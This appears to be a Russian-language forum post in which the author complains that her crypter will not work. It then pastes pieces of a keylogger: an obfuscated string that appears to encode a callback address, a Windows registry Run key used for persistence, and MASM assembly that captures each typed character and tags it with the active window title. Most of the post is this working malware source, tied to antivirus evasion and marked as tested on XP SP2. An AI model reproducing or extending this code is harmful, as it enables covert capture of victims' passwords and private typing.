Проблемы с криптом. Не поддаётся ничему. Если переубедите, буду только рада.
4FBF503586CB75733622740C67B1EEB4apoKALiplsy-KAL!!!hhhhhttttttttttppppp::::://////////aaaaalllllppppphhhhhaaaaa-----ccccceeeeennnnntttttaaaaavvvvvrrrrraaaaa-----sssssoooooccccchhhhhyyyyy-----2
SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\mkl
Keylogger_ProcessCharMessage proc uses ebx edi esi lpMsg, dwIsUnicode : DWORD
LOCAL szBuffer [2] : BYTE
LOCAL swTemp [4] : BYTE
LOCAL lpHeader : DWORD
mov eax, lpMsg
assume eax : ptr MSG
mov ebx, [eax].wParam
assume eax : nothing
; проверяем необходимость логирования символа
.IF ebx >= VK_SPACE
; oбрабатывается печатный символ
mov eax, ebx
.IF dwIsUnicode
lea edi, swTemp
stosw
xor eax, eax
stosw
lea eax, swTemp
lea ecx, szBuffer
xinvoke WideCharToMultiByte, 1251, 0, eax, 2, ecx, 2, 0, 0
.ELSE
lea edi, szBuffer
stosb
xor eax, eax
stosb
.ENDIF
; проверяем на необходимость заголовков
invoke Keylogger_StorageControl, 0, SCF_GET_SIZE
.IF !eax
zero_mem KeyloggerData.lpWindowTitle, 256
invoke Keylogger_SetLogCaption, KeyloggerData.dwProcessID
xinvoke LocalFree, KeyloggerData.lpWindowTitle
call Keylogger_GetActiveWindowTitle
.IF eax
mov KeyloggerData.lpWindowTitle, eax
invoke Keylogger_MakeHeader, KeyloggerData.lpWindowTitle
.IF eax
xchg ebx, eax
invoke Keylogger_StorageControl, ebx, SCF_ADD_DATA
xinvoke LocalFree, ebx
.ENDIF
.ENDIF
.ENDIF
; определяем изменение заголовка
call Keylogger_GetActiveWindowTitle
.IF eax
xchg edi, eax
xinvoke lstrcmpiA, edi, KeyloggerData.lpWindowTitle
.IF eax
xinvoke lstrcpyA, KeyloggerData.lpWindowTitle, edi
; формируем заголовок блока
invoke Keylogger_MakeHeader, edi
.IF eax
mov lpHeader, eax
; пишем его
invoke Keylogger_StorageControl, lpHeader, SCF_ADD_DATA
xinvoke LocalFree, lpHeader
.ENDIF
.ENDIF
xinvoke LocalFree, edi
.ENDIF
; пишем данные в лог
invoke Keylogger_StorageControl, addr szBuffer, SCF_ADD_DATA
.IF !eax
zero_mem KeyloggerData.lpWindowTitle, 256
.ENDIF
.ENDIF
ret
testil na XP SP2